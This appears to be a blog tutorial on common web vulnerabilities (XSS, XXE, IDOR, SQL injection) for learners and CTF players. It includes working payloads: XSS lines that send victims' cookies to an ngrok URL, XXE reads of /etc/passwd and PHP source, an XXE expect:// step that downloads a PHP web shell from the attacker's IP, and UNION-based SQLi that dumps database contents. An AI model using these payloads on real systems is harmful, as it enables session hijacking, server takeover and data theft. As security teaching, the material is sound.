Home Notes | Common Web Attacks
Post
Cancel

Notes | Common Web Attacks

Common Web Attacks

The World Wide Web allows us to access a lot of information over the internet, whether it is a movie, your family pictures or your mail. This is also a very big battlefield between every kind of hackers. Here, we are going to talk about common web vulnerabilities such as Cross Site Scripting (XSS), XML External Entity (XXE), Insecure Direct Object Reference (IDOR) and SQL Injection (SQLi).

XSS

XSS vulnerability result in the possibility for a user to execute Java Script code in the web page. This can change the content of the page or steal connection cookies, for example. You can find a basic exmplanation of XSS on this video. There are three different type of XSS :

  • Reflected XSS, where the malicious script comes from the current HTTP request.
  • Stored XSS, where the malicious script comes from the website’s database.
  • DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

Reflected XSS

The most basic type of cross-site scripting is Reflected XSS. It occurs when an application receives data from an HTTP request and unsafely incorporates that data into the immediate response.

A very simple example will be the following. Imagine a webpage that ask for the user name and execute the following GET request :

1
https://insecure-website.com/search?name=bob

This request will then print Your name is : NAME where NAME will be replaced by the name given. If the website is vulnerable to Reflected XSS, we could put a script as a name like :

1
https://insecure-website.com/search?name=<script>JS_CODE</script>

You can replace JS_CODE by anything you want. A basic test could be :

1
<script>alert(1)</script>

The alert JS function will create a pop-up that will display the text between the brackets. But as stated in this video of LiveOverflow, the alert(1) isn’t a good practice and can lead to false positive. A better way to test XSS could be the use of alert(document.domain) or alert(windows.origin) you could even use the console.log JS function.

Stored XSS

Second-order or persistent XSS, often known as Stored XSS, occurs when an application obtains data from an unreliable source and includes that data inadvertently in subsequent HTTP responses.

As its name suggest, the Stored XSS is Stored in the server. It often appears when someone leaves a comment and that other people can read it. The attack is basically the same for every type of XSS so you can use the previous techniques to check if the website is vulnerable.

DOM-based XSS

When client-side JavaScript in an application handles data from an untrusted source in an unsafe manner, typically by publishing the data back to the DOM, this is referred to as DOM-based XSS, also known as DOM XSS.

DOM-based XSS are a bit harder to find. First we want to check for JS code in the page that we can interact with, like a document.write that write our input, for example. DOM.innerHTML and DOM.outerHTML are other JS function that write DOM objects (add(), after(), append() are some JQuery functions that write DOM objects). Once we understand how the script work we may want to close some HTML tags so that we can input our JS malicious code. This is an example that show how to close a simple HTML tag that includes our input in its field (like an image for example) :

1
https://insecure-website.com/search?name="><script>JS_CODE</script>

You can find more detailed information about XSS on the PortSwigger website.

You can use the document.cookie JS function to retrieve the cookie of a user.

Session Hijaking

XSS can be used to recover sensitive information like connection cookies. We need to setup our environment so that the payload can send us back the information. First, we will start a php server on our machine and then use ngrok so that our web server is available anywhere online.

1
php -S localhost:1234

and

1
ngrok http 1234

In real case scenario or in realistic CTF you may want to use a more standard port like 443 which is the port for HTTPS

You may need to create a Ngrok account for this to work. Visit the created page and it should ask you to create an account.

Now that our environment is ready we can send our payload like :

1
<script>window.open("[URL]?"+document.cookie)</script>

or

1
<script>document.location="[URL]?"+document.cookie;</script>

or

1
<script>document.write('<img src="[URL]?'+document.cookie+'"/>');</script>

Don’t forget to replace [URL] by the url ngrok gives you. This will send the cookie of the person that visit the page where our payload is executed. You can find many other payload on PayloadsAllTheThings.

Automation

There are many tools out here that can help you detect XSS vulnerabilities like Nessus, Burp Pro, ZAP. There are also some opensource tools that you can find on github like XSStrike, BruteXSS or XSSer. Here is a list of different payload you may want to try when looking for XSS vulnerabilities PayloadsAllTheThings.


XXE

XML eXternal Entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. This allows an attackers to interact with any back-end or external systems that the program itself can access as well as examine files on the application server disk.

By using the XXE vulnerability to launch Server-Side Request Forgery (SSRF) attacks, an attacker may be able to escalate a XXE assault to compromise the underlying server or other back-end infrastructure in some circumstances.

Extensible Markup Language (XML) is a markup language and file format for storing, transmitting, and reconstructing arbitrary data. It defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.

Here is a list of some of the key elements of an XML document :

KeyDefinitionExample
TagThe keys of an XML document, usually wrapped with (</>) characters.<date>
EntityXML variables, usually wrapped with (&/;) characters.&lt;
ElementThe root element or any of its child elements, and its value is stored in between a start-tag and an end-tag.<date>20-10-2022</date>
AttributeOptional specifications for any element that are stored in the tags, which may be used by the XML parser.version="1.0"/encoding="UTF-8"
DeclarationUsually the first line of an XML document, and defines the XML version and encoding to use when parsing it.<?xml version="1.0" encoding="UTF-8"?>

DTD

The XML Document Type Definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the start of the XML document. The DTD can be fully self-contained within the document itself (known as an internal DTD) or can be loaded from elsewhere (known as an external DTD) or can be hybrid of the two.

XML Entities

In XML, we can create custom entities that can be defined within the DTD :

1
<!DOCTYPE foo [ <!ENTITY entity_ref "my value" > ]>

This definition means that any usage of the entity reference &entity_ref; within the XML document will be replaced with the defined value: my value.

External entities can be used with the SYSTEM attribute. We can access files or resources from other websites :

1
<!DOCTYPE foo [ <!ENTITY ext_entity SYSTEM "http://website.com" > ]>

or

1
<!DOCTYPE foo [ <!ENTITY ext_entity SYSTEM "file:///path/to/file" > ]>

This can allow us to access files such as the passwd one like this : <!ENTITY read SYSTEM 'file:///etc/passwd'>

Usage

First of all, we need to intercept a request made to the server to see if our request has its data written in XML. Then we need to spot where we can use a XXE. If you fill out a form and they tell you something like “an email has been sent to XXX@YYY.com” then you may need to exploit the email part of the form. We now can use a simple payload to see if it’s vulnerable like :

1
2
3
<!DOCTYPE email [
  <!ENTITY user_mail "Test Text">
]>

Now if the previous text says “an email has been sent to Test Text” it may be vulnerable. We can now use the same technic to read files like we saw previously. But if we try to read the source code of a .php file it may not work because it will print the page instead of its source code. To read is source code, we can use the PHP Wrapper technic :

1
2
3
<!DOCTYPE email [
  <!ENTITY user_mail SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

This command will print the source code of index.php encoded in base64. You can use online tools such as base64decode.org, the BurpSuite Decoder or the bash command to decode it :

1
echo "BASE64_ENCODED_TEXT" | base64 -d 

You can use the Exept Wrapper to create a RCE with the basic expect://id or like that :

  1. Create a php shell :
1
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
  1. Create a web server to host our php shell
1
sudo python3 -m http.server 80
  1. Use the XXE to upload our shell
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY user_mail SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>

IDOR

Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly.

A typical example would be a get parametter that isn’t sanitized :

1
http://insecure_website/index.php?user_id=43

If we are the user with the ID 43 what could possibly happen if we change this value to 0 or 1 ? Generally the first user is the admin. Just exposing a direct reference to an internal object or resource is not a vulnerability in itself. For example, if the ID we specify is for the number of a page. It’s all about weak access control system.

You can read more about access control here

When looking, like here, for ID, name or any other type of token we may want to automate the process so we don’t do all the research by hand. We can use tools such as the Burp Intruder, the ZAP fuzzer or even tools such as ffuf.


SQLi

SQL is a language that allows us to ask information to a database. This information can be name, adress, date, password… It can be anything we want. These queries are made in a DBMS (DataBase Management System), the most famous are SQLite, MySQL, MariaDB, Microsoft SQL Server or even Oracle DBMS. The goal here is not to teach you how SQL work or what are all the differences between tow DBMS but you can read this article for more information. We are just going to see the bases so you are not completely lost but I advise you to follow some courses about the SQL language.

Definition

For this example, we are going to imagine a database of a school with professors and students:

image

As you can see there are two teachers and two students. Professor and Teacher are the two tables of the database. It can be seen as an array containing different data. Each one has an id, a name and a surname those are the attributes ot the tables. ID is usually used to differentiate two entry of a table. We could have a student and a professor that have the same name and the same surname. If this happens and we don’t have an ID how can we differentiate them ? For each entry, we have several value. For the first professor, the value for the id is 1, for the name it’s name1 and for the surname it’s sur1. As I said, ID need to be different to differentiate two students or two professors but I’m talking about ID of a certain table. Of course we can have a student with the same ID as a professor because they are not in the same table.

Basic SQL Commands

Now that you have a better understanding of a database, we can look on how to recover that data. The most common way is to recover all entries of a table :

1
SELECT * FROM STUDENT;

If we want to look for specific attributes, we can do :

1
SELECT name, surname FROM STUDENT;

Here we don’t have much student but if we had hundred of them, we could display all students that have an id greater than 50 like this :

1
SELECT name, surname FROM STUDENT WHERE id > 50 ;

As I said previously, we are not going in depth into SQL and it’s query so you may want to look at some online courses about the SQL language and its queries.

Note that SQL queries isn’t case sensitive. It means that you can write SELECT or select.

Common SQLi

The most common SQLi is in connection forms. You are asked to give a username and password. If I enter my credentials, the query may look like the following one and if there is no entry returned, it means that I gave a wrong password and/or a wrong user.

1
SELECT * FROM usertable WHERE profileID='batbato' AND password = 'batbato'

But what happens if I put as a user an apostrophe (') ? The query will look like :

1
SELECT * FROM usertable WHERE profileID=''' AND password = 'batbato'

Note that inputting an apostrophe (') or a quote (") can print an error message if the debugger mode has not been disabled.

This will result in an error. But we can comment on the rest of the command so that the command will only look for the username. Comments can be -- -COMMENT or #COMMENT.

1
SELECT * FROM usertable WHERE profileID='admin' -- -' AND password = 'batbato'

This command where our user is admin' -- - is equivalent to :

1
SELECT * FROM usertable WHERE profileID='admin'

But what if the admin username isn’t “admin” ? We can use the well-known payload OR 1=1 (equivalent to OR True) so that we get the first user :

1
SELECT * FROM usertable WHERE profileID='admin' OR 1=1 -- -' AND password = 'batbato'

Note that the apostrophe is important ! If the profileID is a decimal, it may not require an apostrophe and if the query use quote (") then your payload should contain quotes instead of apostrophes.

UNION

In SQL, we can use the UNION to combine the result-set of two or more SELECT statements. ex:

1
2
3
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2; 

Instead of the connection form, here we are going to look at something like a search bar. First we need to look for the number of columns of the query. We will try to input :

1
' UNION SELECT NULL -- -

If this doesn’t print NULL, we can try :

1
' UNION SELECT NULL, NULL -- -

Again and again until we see the NULL where the result should be output. For the rest of the example we are going to assume we have two columns. We look for the name of the database with schema_name from the table INFORMATION_SCHEMA.SCHEMATA:

1
' UNION SELECT 1,group_concat(0x7c,schema_name,0x7c) FROM INFORMATION_SCHEMA.SCHEMATA -- -

Note the use of group_concat(0x7c,schema_name,0x7c). This will display all the attributes in a single cell separated by |. If there is not enough space to show all the attributes, we can show them all at once with group_concat().

We obtain all the databases names. Imagine we found the database SCHOOL from the previous example. We look for the tables it contains :

1
' UNION SELECT group_concat(0x7c,TABLE_NAME,0x7c),group_concat(0x7c,TABLE_SCHEMA,0x7c) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='SCHOOL' -- -

If we want to have a look at the Student table, we can list the names of the columns like that :

1
' UNION SELECT group_concat(0x7c,COLUMN_NAME,0x7c),group_concat(0x7c,TABLE_NAME,0x7c) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='Student' -- -

We get the name and the surname with :

1
' UNION SELECT group_concat(0x7c,name,0x7c),group_concat(0x7c,surname,0x7c) FROM Student -- -

If there are some protections, you can try to bypass them by encoding your queries, changing the case… This PortSwigger article can explain it to you.

This post is licensed under CC BY 4.0 by the author.